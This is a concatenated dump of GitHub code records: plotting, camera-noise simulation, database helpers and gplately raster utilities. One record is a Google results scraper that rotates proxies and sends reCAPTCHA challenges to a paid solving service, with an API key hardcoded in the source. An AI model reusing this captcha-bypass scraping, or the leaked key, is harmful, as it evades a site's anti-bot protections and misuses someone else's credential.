std = np.array(mu), np.array(std)\nax[1].loglog(numels, mu, label=\"torch2jax (this package)\", marker=\".\", color=\"C1\")\nax[1].fill_between(numels, mu - std, mu + std, color=\"C1\", alpha=0.3)\nmu, std = [np.mean(ts) for ts in cuda_times_torch], [np.std(ts) for ts in cuda_times_torch]\nmu, std = np.array(mu), np.array(std)\nax[1].loglog(numels, mu, label=\"native torch\", marker=\".\", color=\"C2\")\nax[1].fill_between(numels, mu - std, mu + std, color=\"C2\", alpha=0.3)\nax[1].set_xlabel(\"Data size\")\nax[1].set_ylabel(\"Time (s)\")\nax[1].set_title(\"CUDA\")\nax[1].legend()\nylim2 = ax[1].get_ylim()\n\nylim = (min(ylim1[0], ylim2[0]), max(ylim1[1], ylim2[1]))\nax[0].set_ylim(ylim)\nax[1].set_ylim(ylim)\nax[1].grid(True, which=\"both\")\n\nplt.tight_layout()\nplt.savefig(\"time_difference_2.png\", dpi=200, bbox_inches=\"tight\", pad_inches=0.0)\nplt.savefig(\"time_difference_2.pdf\", dpi=200, bbox_inches=\"tight\", pad_inches=0.0)\nplt.show()\n","repo_name":"rdyro/torch2jax","sub_path":"experiments/time_difference.py","file_name":"time_difference.py","file_ext":"py","file_size_in_byte":4435,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"72"} +{"seq_id":"14164242544","text":"import numpy as np\n\n\ndef add_gaussian_noise(arr: np.ndarray, mean: float, std: float) -> np.ndarray:\n \"\"\"adds gaussian noise to an array\"\"\"\n if mean == 0:\n return arr\n row, col = arr.shape\n gauss = np.random.normal(mean, std, (row, col))\n _img = arr + gauss\n _img[_img < 0] = 0\n return _img\n\n\ndef add_camera_noise(input_irrad_photons: np.ndarray,\n qe: float = 1., sensitivity: float = 1.,\n dark_noise: float = 2.29, baseline: float = 0.,\n enable_shot_noise: bool = True, seed: int = None) -> np.ndarray:\n \"\"\"\n Generates camera noise and adds it to input array. Array with camera noise is returned.\n Code is shamelessly taken from http://kmdouglass.github.io/posts/modeling-noise-for-image-simulations/\n and slightly adjusted (especially shot noise!)\n\n\n Parameters\n ----------\n input_irrad_photons: arr\n incoming photons. If counts are known, then multiply your counts with 1/sensitivity\n qe: float\n Quantum efficiency. Dependent on wavelength. It is the conversion factor from\n photons to electrons.\n sensitivity: float\n Represents the amplification of the voltage in the pixel from the\n photoelectrons and is also a property of the camera. [ADU/e-]\n dark_noise: float\n std of gaussian distribution\n baseline: float\n mean of gaussian distribution\n enable_shot_noise: bool, default=True\n Enables shot noise. Default is True.\n seed: int, default is None\n Seed for random state class. Use a value for \"reproducable radnomness\"\n\n \"\"\"\n rs = np.random.RandomState(seed=seed)\n # Add shot noise\n if enable_shot_noise:\n photons = rs.poisson(input_irrad_photons, size=input_irrad_photons.shape)\n else:\n photons = input_irrad_photons\n\n # Convert to electrons\n electrons = qe * photons\n\n # Add dark noise\n electrons_out = rs.normal(scale=dark_noise, size=electrons.shape) + electrons\n\n # Convert to ADU and add baseline\n adu = electrons_out * sensitivity # Convert to discrete numbers\n adu += baseline\n\n adu[adu < 0] = 0 # just to be sure\n\n return adu\n","repo_name":"matthiasprobst/synpivimage","sub_path":"synpivimage/noise.py","file_name":"noise.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30078898736","text":"import os\nimport sys\nimport random\nfrom lxml import html\nfrom time import sleep\nfrom urllib.parse import quote\nfrom selenium import webdriver\nfrom python_anticaptcha import AnticaptchaClient, NoCaptchaTaskProxylessTask\nfrom yarl import URL\n\n\ndef get_results(code):\n sites = html.fromstring(code).xpath('//h3[@class=\"r\"]/a/@href')\n if len(sites) == 0:\n raise ValueError('no websites in result page')\n return sites\n\n\ndef understand_captcha(url, browser, proxy, UA):\n # Captcha Solving\n api_key = '5d7715dba5393cc85562e9177751bd4e'\n site_key = browser.find_element_by_id('recaptcha').get_attribute('data-sitekey')\n client = AnticaptchaClient(api_key)\n # task = NoCaptchaTask(url, site_key, 'http', proxy.host, proxy.port, UA)\n task = NoCaptchaTaskProxylessTask(url, site_key)\n job = client.createTask(task)\n job.join()\n captcha_result = job.get_solution_response()\n browser.execute_script(\"document.getElementById('g-recaptcha-response').style.display = '';\")\n elem = browser.find_element_by_id('g-recaptcha-response')\n elem.send_keys(captcha_result)\n submit = browser.find_element_by_name('submit')\n submit.click()\n sleep(random.randint(1, 3))\n return browser\n\n\ndef crawler(country='US'):\n '''\n AU,Australia,Sydney,ip\n AU,Australia,,ip\n AU,Australia,Brisbane,ip\n US,United States,Smarr,ip\n US,United States,Las Vegas,ip\n !US,United States,New York,ip\n US,United States,Las Vegas,ip\n US,United States,Saint Louis,ip\n US,United States,Chicago,ip\n GB,United Kingdom,Thornton Heath,ip\n GB,United Kingdom,,ip\n GB,United Kingdom,,ip\n '''\n\n keys = []\n\n proxy = {'US': 'http://ip',\n 'UK': 'http://ip',\n 'AU': 'http://ip',\n 'CA': 'http://ip'}\n\n google = {'US': 'google.com', 'UK': 'google.co.uk', 'AU': 'google.com.au', 'CA': 'google.ca'}\n\n result_file = f'data/google_sites_result_{country}.txt'\n input_file = f'data/google_input_keys_{country}.txt'\n parsed_file = f'data/google_parsed_keys_{country}.txt'\n\n with open(parsed_file, 'r', encoding='utf-8') as f1:\n result = f1.read()\n\n with open(input_file, 'r', encoding='utf-8') as f2:\n for line in f2:\n key = line.strip()\n if key not in result:\n keys.append(key)\n\n print(len(keys), 'Keys in Queue')\n\n UA = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'\n _options = webdriver.chrome.options.Options()\n _options.add_argument('--headless')\n _options.add_argument('--no-sandbox')\n _options.add_argument('--disable-notifications')\n _options.add_argument(f'--proxy-server={proxy[country]}')\n _driver = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'chromedriver')\n browser = webdriver.Chrome(chrome_options=_options, executable_path=_driver)\n\n for k in keys:\n try:\n print('[SEND]', k)\n url = f'https://www.{google[country]}/search?q={quote(k)}&num=100'\n browser.get(url)\n sleep(random.randint(3, 7))\n code = browser.page_source\n if 'recaptcha' in code:\n browser = understand_captcha(url, browser, proxy, UA)\n code = browser.page_source\n sites = get_results(code)\n with open(result_file, 'a', encoding='utf-8') as result:\n for s in sites:\n # result.write('{}\\t{}\\n'.format(k, s))\n result.write(f'{URL(s).host}\\n')\n with open(parsed_file, 'a', encoding='utf-8') as parsed:\n parsed.write(f'{k}\\n')\n print('[OK]', k)\n sleep(random.randint(2, 8))\n except Exception as e:\n print(type(e), e, 'line: ', sys.exc_info()[-1].tb_lineno)\n browser.quit()\n browser = webdriver.Chrome(chrome_options=_options, executable_path=_driver)\n browser.quit()\n\n\ndef main():\n countries = ['US', 'UK', 'AU', 'CA']\n for c in countries:\n crawler(c)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"vvscode/py--notes","sub_path":"py4seo/sources/google_scraper/google_sites.py","file_name":"google_sites.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74176703272","text":"import configparser\nimport logging\nimport os\n\nimport psycopg2\nimport psycopg2.extras\nfrom jinja2 import Environment\nfrom jinjasql import JinjaSql\nfrom pygbif import species\n\n__location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))\n\nCONFIG_FILE_PATH = './config.ini'\n\n\ndef setup_log_file(relative_path):\n logging.basicConfig(filename=os.path.join(__location__, relative_path),\n level=logging.INFO,\n filemode='w',\n format='%(asctime)s | %(message)s')\n\n\ndef get_config():\n \"\"\" Read config.ini (in the same directory than this script) and returns a configparser \"\"\"\n config_parser = configparser.RawConfigParser()\n\n try:\n with open(os.path.join(__location__, CONFIG_FILE_PATH)) as f:\n config_parser.read_file(f)\n except IOError:\n raise Exception(f\"Configuration file ({CONFIG_FILE_PATH}) not found\")\n\n return config_parser\n\n\ndef get_database_connection():\n \"\"\" Read config.ini (in the same directory than this script) and returns a (psycopg2) connection object\"\"\"\n config_parser = get_config()\n\n conn = psycopg2.connect(dbname=config_parser.get('database', 'dbname'),\n user=config_parser.get('database', 'user'),\n password=config_parser.get('database', 'password'),\n host=config_parser.get('database', 'host'),\n port=int(config_parser.get('database', 'port')),\n options=f\"-c search_path={config_parser.get('database', 'schema')}\")\n\n conn.autocommit = True\n return conn\n\n\ndef surround_by_quote(a_list):\n return ['\"%s\"' % an_element for an_element in a_list]\n\n\ndef execute_sql_from_jinja_string(conn, sql_string, context=None, dict_cursor=False):\n # conn: a (psycopg2) connection object\n # sql_string: query template (Jinja-supported string)\n # context: the context (dict-like) that will be use with the template\n #\n # an extra Jinja filter (surround_by_quote) is available and can be useful to double-quote field names\n #\n # returns the cursor object\n #\n # examples:\n #\n # execute_sql_from_jinja_string(conn, \"SELECT version();\")\n # execute_sql_from_jinja_string(conn, \"SELECT * FROM biodiv.address LIMIT {{limit}}\", {'limit': 5})\n e = Environment()\n e.filters[\"surround_by_quote\"] = surround_by_quote\n j = JinjaSql(env=e)\n\n if context is None:\n context = {}\n\n query, bind_params = j.prepare_query(sql_string, context)\n\n if dict_cursor:\n cur = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\n else:\n cur = conn.cursor()\n\n cur.execute(query, bind_params)\n\n return cur\n\n\ndef execute_sql_from_file(conn, filename, context=None, dict_cursor=False):\n # conn: a (psycopg2) connection object\n # filename: name of the template (Jinja) file as it appears in sql_snippets\n # context: the context (dict-like) that will be passed to Jinja\n #\n # returns the cursor object\n dirname = os.path.dirname(__file__)\n return execute_sql_from_jinja_string(conn=conn,\n sql_string=open(os.path.join(dirname, 'sql_snippets', filename), 'r').read(),\n context=context,\n dict_cursor=dict_cursor)\n\n\ndef paginated_name_usage(*args, **kwargs):\n \"\"\"Small helper to handle the pagination in pygbif and make sure we get all results in one shot\"\"\"\n PER_PAGE = 100\n\n results = []\n offset = 0\n\n while True:\n resp = species.name_usage(*args, **kwargs, limit=PER_PAGE, offset=offset)\n results = results + resp['results']\n if resp['endOfRecords']:\n break\n else:\n offset = offset + PER_PAGE\n\n return results\n\n\ndef print_indent(msg, depth=0, indent=4):\n print(\"{}{}\".format(\" \" * (indent * depth), msg))\n\n\ndef insert_or_get_scientificnameid(conn, scientific_name, authorship):\n \"\"\" Insert or select a name in scientificname table based on its scientific name and authorship\n\n If the scientific name - authorship combination already exists in the scientificname table, select it.\n Otherwise, insert it in a new row.\n\n In both cases, returns the row id \"\"\"\n sc_name_template = \"\"\"WITH ins AS (\n INSERT INTO scientificname (\"scientificName\", \"authorship\")\n VALUES ({{ scientific_name }}, {{ authorship }}) -- input value\n ON CONFLICT DO NOTHING\n RETURNING scientificname.id\n )\n SELECT id FROM ins\n UNION ALL\n SELECT \"id\" FROM scientificname -- 2nd SELECT never executed if INSERT successful\n {% if authorship is defined %}\n WHERE \"scientificName\" = {{ scientific_name }} AND \"authorship\" = {{ authorship }} -- input value a 2nd time\n {% else %}\n WHERE \"scientificName\" = {{ scientific_name }} AND \"authorship\" is NULL -- input value a 2nd time\n {% endif %}\n LIMIT 1;\"\"\"\n cur = execute_sql_from_jinja_string(conn,\n sql_string=sc_name_template,\n context={'scientific_name': scientific_name,\n 'authorship': authorship},\n dict_cursor=True)\n return cur.fetchone()['id']\n\n\ndef update_scientificname_id(conn, scientificname_id, row_id):\n \"\"\" Update the scientificNameId field in annexscientificname for the row with row_id\"\"\"\n template = \"\"\" UPDATE annexscientificname SET \"scientificNameId\" = {{ scientificname_id }} \n WHERE \"id\" = {{ id }} \"\"\"\n execute_sql_from_jinja_string(conn,\n template,\n {'scientificname_id': scientificname_id,\n 'id': row_id})\n","repo_name":"inbo/speciesbim","sub_path":"scripts/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":6241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15377655997","text":"\"\"\"Tools for working with MaskedArray, ndarray and netCDF4 rasters, as well as\ngridded-data.\n\nSome methods available in `grids`:\n\n* Point data can be interpolated onto a raster or grid with Scipy using linear or \nnearest-neighbour interpolation. \n* Rasters can be resampled with a set of X and Y-direction spacings, and can be resized \nusing given X and Y resolutions. \n* Grids with invalid (NaN-type) data cells can have their NaN entries replaced \nwith the values of their nearest valid neighbours. \n\nClasses\n-------\n* RegularGridInterpolator\n* Raster\n\"\"\"\nimport warnings\nfrom multiprocessing import cpu_count\n\nimport matplotlib.colors\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pygplates\nfrom cartopy.crs import PlateCarree as _PlateCarree\nfrom cartopy.mpl.geoaxes import GeoAxes as _GeoAxes\nfrom rasterio.enums import MergeAlg\nfrom rasterio.features import rasterize as _rasterize\nfrom rasterio.transform import from_bounds as _from_bounds\nfrom scipy.interpolate import RegularGridInterpolator as _RGI\nfrom scipy.ndimage import (\n distance_transform_edt,\n map_coordinates,\n)\nfrom scipy.spatial import cKDTree as _cKDTree\nfrom scipy.spatial.transform import Rotation as _Rotation\nfrom scipy.interpolate import griddata\n\nfrom .geometry import pygplates_to_shapely\nfrom .reconstruction import PlateReconstruction as _PlateReconstruction\nfrom .tools import _deg2pixels\n\n__all__ = [\n \"fill_raster\",\n \"read_netcdf_grid\",\n \"write_netcdf_grid\",\n \"RegularGridInterpolator\",\n \"sample_grid\",\n \"reconstruct_grid\",\n \"rasterise\",\n \"rasterize\",\n \"Raster\",\n # \"TimeRaster\",\n]\n\n\ndef fill_raster(data,invalid=None):\n \"\"\"Search a grid of `data` for invalid cells (i.e NaN-type entries) and fill each\n invalid cell with the value of its nearest valid neighbour. \n\n Notes\n -----\n Uses `scipy`'s `distance_transform_edt` function to perform an Exact Euclidean \n Distance Transform (EEDT). This locates the nearest valid neighbours of an invalid \n `data` cell. \n\n An optional parameter, `invalid`, is a binary ndarray with the same dimensions \n as `data` and the following entries:\n\n * 1 if its corresponding entry in `data` is of NaN-type;\n * 0 if not NaN-type\n\n This will be used to locate nearest neighbour fill values during the Exact Euclidian \n Distance Transform. If `invalid` is not passed to `fill_raster`, it will be created \n for the user.\n\n Parameters\n ----------\n data : MaskedArray\n A MaskedArray of data that may have invalid cells (i.e. entries of type NaN).\n\n invalid : ndarray, optional, default=None\n An ndarray with the same shape as `data` whose elements are 1 if its corresponding \n elements in `data` are of type `NaN`, and 0 if its corresponding entries in `data` \n are valid. An optional parameter - this will be created for the user if it isn’t \n provided.\n\n Returns\n -------\n data : ndarray\n An updated `data` array where each invalid cell has been replaced with the value \n of its nearest valid neighbour. \n \"\"\"\n masked_array = hasattr(data, \"fill_value\")\n if masked_array:\n mask_fill_value = data.data == data.fill_value\n data = data.data.copy()\n data[mask_fill_value] = np.nan\n else:\n data = data.copy()\n\n if invalid is None:\n invalid = np.isnan(data)\n if masked_array:\n invalid += mask_fill_value\n ind = distance_transform_edt(invalid, return_distances=False, return_indices=True)\n return data[tuple(ind)]\n\n\ndef realign_grid(array, lons, lats):\n mask_lons = lons > 180\n\n # realign to -180/180\n if mask_lons.any():\n dlon = np.diff(lons).mean()\n array = np.hstack([array[:,mask_lons], array[:,~mask_lons]])\n lons = np.hstack([lons[mask_lons] - 360 - dlon, lons[~mask_lons]])\n\n if lats[0] > lats[-1]:\n array = np.flipud(array)\n lats = lats[::-1]\n\n return array, lons, lats\n\ndef read_netcdf_grid(filename, return_grids=False, realign=False, resample=None):\n \"\"\"Read a `netCDF` (.nc) grid from a given `filename` and return its data as a\n `MaskedArray`.\n\n Notes\n -----\n If a `resample` tuple is passed with X and Y spacings (`spacingX`, `spacingY`), \n the gridded data in `filename` will be resampled with these resolutions. \n\n By default, only the `MaskedArray` is returned to the user. However, if `return_grids` is \n set to `True`, the `MaskedArray` will be returned along with two additional arrays \n in a `tuple`:\n\n * A 1d `MaskedArray` containing the longitudes of the `netCDF` gridded data\n * A 1d `MaskedArray` containing the latitudes of the `netCDF` gridded data \n \n Parameters\n ----------\n filename : str\n Full path to the `netCDF` raster file.\n \n return_grids : bool, optional, default=False\n If set to `True`, returns lon, lat arrays associated with the grid data.\n\n realign : bool, optional, default=False\n if set to `True`, realigns grid to -180/180 and flips the array if the\n latitudinal coordinates are decreasing.\n \n resample : tuple, optional, default=None\n If passed as `resample = (spacingX, spacingY)`, the given `netCDF` grid is resampled \n with these x and y resolutions.\n\n Returns\n -------\n grid_z : MaskedArray\n A `MaskedArray` containing the gridded data from the supplied netCDF4 `filename`. \n Entries' longitudes are re-aligned between -180 and 180 degrees.\n\n lon, lat : 1d MaskedArrays\n `MaskedArrays` encasing longitude and latitude variables belonging to the \n supplied netCDF4 file. Longitudes are rescaled between -180 and 180 degrees. \n An example output of `cdf_lat` is:\n\n masked_array(data=[-90. , -89.9, -89.8, ..., 89.8, 89.9, 90. ], mask=False, fill_value=1e+20)\n \"\"\"\n\n def find_label(keys, labels):\n for label in labels:\n if label in keys:\n return label\n return None\n\n\n import netCDF4\n\n # possible permutations of lon/lat/z\n label_lon = ['lon', 'lons', 'longitude', 'x', 'east', 'easting', 'eastings']\n label_lat = ['lat', 'lats', 'latitude', 'y', 'north', 'northing', 'northings']\n label_z = ['z', 'data', 'values']\n\n # add capitalise and upper case permutations\n label_lon = label_lon + [label.capitalize() for label in label_lon] + [label.upper() for label in label_lon]\n label_lat = label_lat + [label.capitalize() for label in label_lat] + [label.upper() for label in label_lat]\n label_z = label_z + [label.capitalize() for label in label_z] + [label.upper() for label in label_z]\n\n # open netCDF file and re-align from -180, 180 degrees\n with netCDF4.Dataset(filename, 'r') as cdf:\n keys = cdf.variables.keys()\n \n # find the names of variables\n key_z = find_label(keys, label_z)\n key_lon = find_label(keys, label_lon)\n key_lat = find_label(keys, label_lat)\n\n if key_lon is None or key_lat is None:\n raise ValueError(\"Cannot find x,y or lon/lat coordinates in netcdf\")\n if key_z is None:\n raise ValueError(\"Cannot find z data in netcdf\")\n\n # extract data from cdf variables\n cdf_grid = cdf[key_z][:]\n cdf_lon = cdf[key_lon][:]\n cdf_lat = cdf[key_lat][:]\n\n if realign:\n # realign longitudes to -180/180 dateline\n cdf_grid_z, cdf_lon, cdf_lat = realign_grid(cdf_grid, cdf_lon, cdf_lat)\n else:\n cdf_grid_z = cdf_grid\n\n # resample\n if resample is not None:\n spacingX, spacingY = resample\n lon_grid = np.arange(cdf_lon.min(), cdf_lon.max()+spacingX, spacingX)\n lat_grid = np.arange(cdf_lat.min(), cdf_lat.max()+spacingY, spacingY)\n lonq, latq = np.meshgrid(lon_grid, lat_grid)\n original_extent = (\n cdf_lon[0],\n cdf_lon[-1],\n cdf_lat[0],\n cdf_lat[-1],\n )\n cdf_grid_z = sample_grid(\n lonq, latq,\n cdf_grid_z,\n method=\"nearest\",\n extent=original_extent,\n return_indices=False,\n )\n cdf_lon = lon_grid\n cdf_lat = lat_grid\n \n # Fix grids with 9e36 as the fill value for nan. \n #cdf_grid_z.fill_value = float('nan')\n #cdf_grid_z.data[cdf_grid_z.data > 1e36] = cdf_grid_z.fill_value\n \n if return_grids:\n return cdf_grid_z, cdf_lon, cdf_lat\n else:\n return cdf_grid_z\n \ndef write_netcdf_grid(filename, grid, extent=[-180,180,-90,90]):\n \"\"\" Write geological data contained in a `grid` to a netCDF4 grid with a specified `filename`.\n\n Notes\n -----\n The written netCDF4 grid has the same latitudinal and longitudinal (row and column) dimensions as `grid`. \n It has three variables:\n\n * Latitudes of `grid` data\n * Longitudes of `grid` data\n * The data stored in `grid`\n\n However, the latitudes and longitudes of the grid returned to the user are constrained to those \n specified in `extent`. \n By default, `extent` assumes a global latitudinal and longitudinal span: `extent=[-180,180,-90,90]`.\n\n Parameters\n ----------\n filename : str\n The full path (including a filename and the \".nc\" extension) to save the created netCDF4 `grid` to.\n\n grid : array-like\n An ndarray grid containing data to be written into a `netCDF` (.nc) file. Note: Rows correspond to \n the data's latitudes, while the columns correspond to the data's longitudes.\n\n extent : 1D numpy array, default=[-180,180,-90,90]\n Four elements that specify the [min lon, max lon, min lat, max lat] to constrain the lat and lon \n variables of the netCDF grid to. If no extents are supplied, full global extent `[-180, 180, -90, 90]` \n is assumed. \n\n Returns\n -------\n A netCDF grid will be saved to the path specified in `filename`.\n \"\"\"\n import netCDF4\n \n nrows, ncols = np.shape(grid)\n \n lon_grid = np.linspace(extent[0], extent[1], ncols)\n lat_grid = np.linspace(extent[2], extent[3], nrows)\n \n with netCDF4.Dataset(filename, 'w', driver=None) as cdf:\n cdf.title = \"Grid produced by gplately\"\n cdf.createDimension('lon', lon_grid.size)\n cdf.createDimension('lat', lat_grid.size)\n cdf_lon = cdf.createVariable('lon', lon_grid.dtype, ('lon',), zlib=True)\n cdf_lat = cdf.createVariable('lat', lat_grid.dtype, ('lat',), zlib=True)\n cdf_lon[:] = lon_grid\n cdf_lat[:] = lat_grid\n\n # Units for Geographic Grid type\n cdf_lon.units = \"degrees_east\"\n cdf_lon.standard_name = 'lon'\n cdf_lon.actual_range = [lon_grid[0], lon_grid[-1]]\n cdf_lat.units = \"degrees_north\"\n cdf_lat.standard_name = 'lat'\n cdf_lat.actual_range = [lat_grid[0], lat_grid[-1]]\n\n cdf_data = cdf.createVariable('z', grid.dtype, ('lat','lon'), zlib=True)\n # netCDF4 uses the missing_value attribute as the default _FillValue\n # without this, _FillValue defaults to 9.969209968386869e+36\n cdf_data.missing_value = np.nan\n cdf_data.standard_name = 'z'\n #Ensure pygmt registers min and max z values properly\n cdf_data.actual_range = [np.nanmin(grid), np.nanmax(grid)]\n\n cdf_data[:,:] = grid\n\n\nclass RegularGridInterpolator(_RGI):\n \"\"\"A class to sample gridded data at a set of point coordinates using either linear or nearest-neighbour \n interpolation methods. It is a child class of `scipy 1.10`'s [`RegularGridInterpolator`](https://docs.scipy.org/doc/scipy/reference/generated/scipy.interpolate.RegularGridInterpolator.html) class.\n\n This will only work for scipy version 1.10 onwards. \n\n Attributes\n ----------\n points : tuple of ndarrays of float with shapes (m1, ), …, (mn, )\n Each array contains point coordinates that define the regular grid in n dimensions.\n values : ndarray\n The data on a regular grid. Note: the number of rows corresponds to the number of point latitudes, while the number\n of columns corresponds to the number of point longitudes.\n method : str, default=’linear’\n The method of interpolation to perform. Supported are \"linear\" and \"nearest\". Assumes “linear” by default.\n bounds_error : bool, default=false\n Choose whether to return a ValueError and terminate the interpolation if any provided sample points are out\n of grid bounds. By default, it is set to `False`. In this case, all out-of-bound point values are replaced \n with the `fill_value` (defined below) if supplied.\n fill_value : float, default=np.nan\n Used to replace point values that are out of grid bounds, provided that ‘bounds_error’ is false.\n\n \"\"\"\n def __init__(self, points, values, method=\"linear\", bounds_error=False, fill_value=np.nan):\n super(RegularGridInterpolator, self).__init__(points, values, method, bounds_error, fill_value)\n\n def __call__(self, xi, method=None, return_indices=False, return_distances=False):\n \"\"\"Samples gridded data at a set of point coordinates. Uses either a linear or nearest-neighbour interpolation `method`.\n\n Uses the gridded data specified in the sample_grid method parameter. Note: if any provided sample points are out of \n grid bounds and a corresponding error message was suppressed (by specifying bounds_error=False), all out-of-bound \n point values are replaced with the self.fill_value attribute ascribed to the RegularGridInterpolator object (if it\n exists). Terminates otherwise.\n\n This is identical to scipy 1.10's RGI object.\n \n Parameters\n ----------\n xi : ndarray of shape (..., ndim)\n The coordinates of points to sample the gridded data at.\n\n method : str, default=None\n The method of interpolation to perform. Supported are \"linear\" and \"Nearest\". Assumes “linear” interpolation\n if None provided. \n\n return_indices : bool, default=False\n Choose whether to return indices of neighbouring sampling points. \n\n return_distances : bool, default=False\n Choose whether to return normal distances between interpolated points and neighbouring sampling points.\n\n Returns\n -------\n output_tuple : tuple of ndarrays\n The first ndarray in the output tuple holds the interpolated grid data. If sample point distances and indices are\n required, these are returned as subsequent tuple elements. \n\n Raises\n ------\n ValueError\n * Raised if the string method supplied is not “linear” or “nearest”.\n * Raised if the provided sample points for interpolation (xi) do not have the same dimensions as the supplied grid. \n * Raised if the provided sample points for interpolation include any point out of grid bounds. Alerts user which\n dimension (index) the point is located. Only raised if the RegularGridInterpolator attribute bounds_error is set\n to True. If suppressed, out-of-bound points are replaced with a set fill_value. \n \"\"\"\n method = self.method if method is None else method\n if method not in [\"linear\", \"nearest\"]:\n raise ValueError(\"Method '%s' is not defined\" % method)\n\n xi, xi_shape, ndim, nans, out_of_bounds = self._prepare_xi(xi)\n\n indices, norm_distances = self._find_indices(xi.T)\n\n if method == \"linear\":\n result = self._evaluate_linear(indices,\n norm_distances)\n elif method == \"nearest\":\n result = self._evaluate_nearest(indices,\n norm_distances)\n if not self.bounds_error and self.fill_value is not None:\n result[out_of_bounds] = self.fill_value\n \n interp_output = result.reshape(xi_shape[:-1] + self.values.shape[ndim:])\n output_tuple = [interp_output]\n\n if return_indices:\n output_tuple.append(indices)\n if return_distances:\n output_tuple.append(norm_distances)\n \n if return_distances or return_indices:\n return tuple(output_tuple)\n else:\n return output_tuple[0]\n\n\n def _prepare_xi(self, xi):\n from scipy.interpolate.interpnd import _ndim_coords_from_arrays\n ndim = len(self.grid)\n xi = _ndim_coords_from_arrays(xi, ndim=ndim)\n if xi.shape[-1] != len(self.grid):\n raise ValueError(\"The requested sample points xi have dimension \"\n f\"{xi.shape[-1]} but this \"\n f\"RegularGridInterpolator has dimension {ndim}\")\n\n xi_shape = xi.shape\n xi = xi.reshape(-1, xi_shape[-1])\n\n # find nans in input\n nans = np.any(np.isnan(xi), axis=-1)\n\n if self.bounds_error:\n for i, p in enumerate(xi.T):\n if not np.logical_and(np.all(self.grid[i][0] <= p),\n np.all(p <= self.grid[i][-1])):\n raise ValueError(\"One of the requested xi is out of bounds \"\n \"in dimension %d\" % i)\n out_of_bounds = None\n else:\n out_of_bounds = self._find_out_of_bounds(xi.T)\n\n return xi, xi_shape, ndim, nans, out_of_bounds\n\n\n def _find_out_of_bounds(self, xi):\n # check for out of bounds xi\n out_of_bounds = np.zeros((xi.shape[1]), dtype=bool)\n # iterate through dimensions\n for x, grid in zip(xi, self.grid):\n out_of_bounds += x < grid[0]\n out_of_bounds += x > grid[-1]\n return out_of_bounds\n\n\n def _find_indices(self, xi):\n \"\"\"Index identifier outsourced from scipy 1.9's \n RegularGridInterpolator to ensure stable \n operations with all versions of scipy >1.0. \n \"\"\"\n # find relevant edges between which xi are situated\n indices = []\n # compute distance to lower edge in unity units\n norm_distances = []\n # iterate through dimensions\n for x, grid in zip(xi, self.grid):\n i = np.searchsorted(grid, x) - 1\n i[i < 0] = 0\n i[i > grid.size - 2] = grid.size - 2\n indices.append(i)\n\n # compute norm_distances, incl length-1 grids,\n # where `grid[i+1] == grid[i]`\n denom = grid[i + 1] - grid[i]\n with np.errstate(divide='ignore', invalid='ignore'):\n norm_dist = np.where(denom != 0, (x - grid[i]) / denom, 0)\n norm_distances.append(norm_dist)\n\n return indices, norm_distances\n\n\n def _evaluate_linear(self, indices, norm_distances):\n \"\"\"Linear interpolator outsourced from scipy 1.9's \n RegularGridInterpolator to ensure stable \n operations with all versions of scipy >1.0.\n \"\"\"\n import itertools\n # slice for broadcasting over trailing dimensions in self.values\n vslice = (slice(None),) + (None,)*(self.values.ndim - len(indices))\n\n # Compute shifting up front before zipping everything together\n shift_norm_distances = [1 - yi for yi in norm_distances]\n shift_indices = [i + 1 for i in indices]\n\n # The formula for linear interpolation in 2d takes the form:\n # values = self.values[(i0, i1)] * (1 - y0) * (1 - y1) + \\\n # self.values[(i0, i1 + 1)] * (1 - y0) * y1 + \\\n # self.values[(i0 + 1, i1)] * y0 * (1 - y1) + \\\n # self.values[(i0 + 1, i1 + 1)] * y0 * y1\n # We pair i with 1 - yi (zipped1) and i + 1 with yi (zipped2)\n zipped1 = zip(indices, shift_norm_distances)\n zipped2 = zip(shift_indices, norm_distances)\n\n # Take all products of zipped1 and zipped2 and iterate over them\n # to get the terms in the above formula. This corresponds to iterating\n # over the vertices of a hypercube.\n hypercube = itertools.product(*zip(zipped1, zipped2))\n values = 0.\n for h in hypercube:\n edge_indices, weights = zip(*h)\n weight = 1.\n for w in weights:\n weight *= w\n values += np.asarray(self.values[edge_indices]) * weight[vslice]\n return values\n\n\n def _evaluate_nearest(self, indices, norm_distances):\n \"\"\"Nearest neighbour interpolator outsourced from scipy 1.9's \n RegularGridInterpolator to ensure stable \n operations with all versions of scipy >1.0. \n \"\"\"\n idx_res = [np.where(yi <= .5, i, i + 1)\n for i, yi in zip(indices, norm_distances)]\n return self.values[tuple(idx_res)]\n\n\ndef sample_grid(\n lon,\n lat,\n grid,\n method=\"linear\",\n extent=\"global\",\n origin=None,\n return_indices=False,\n):\n \"\"\"Sample point data with given `lon` and `lat` coordinates onto a `grid`\n using spline interpolation.\n\n Parameters\n ----------\n lon, lat : array_like\n The longitudes and latitudes of the points to interpolate onto the\n gridded data. Must be broadcastable to a common shape.\n grid : Raster or array_like\n An array whose elements define a grid. The number of rows corresponds\n to the number of point latitudes, while the number of columns\n corresponds to the number of point longitudes.\n method : str or int; default: 'linear'\n The order of spline interpolation. Must be an integer in the range\n 0-5. 'nearest', 'linear', and 'cubic' are aliases for 0, 1, and 3,\n respectively.\n extent : str or 4-tuple, default: 'global'\n 4-tuple to specify (min_lon, max_lon, min_lat, max_lat) extents\n of the raster. If no extents are supplied, full global extent\n [-180,180,-90,90] is assumed (equivalent to `extent='global'`).\n For array data with an upper-left origin, make sure `min_lat` is\n greater than `max_lat`, or specify `origin` parameter.\n origin : {'lower', 'upper'}, optional\n When `data` is an array, use this parameter to specify the origin\n (upper left or lower left) of the data (overriding `extent`).\n return_indices : bool, default=False\n Whether to return the row and column indices of the nearest grid\n points.\n\n Returns\n -------\n numpy.ndarray\n The values interpolated at the input points.\n 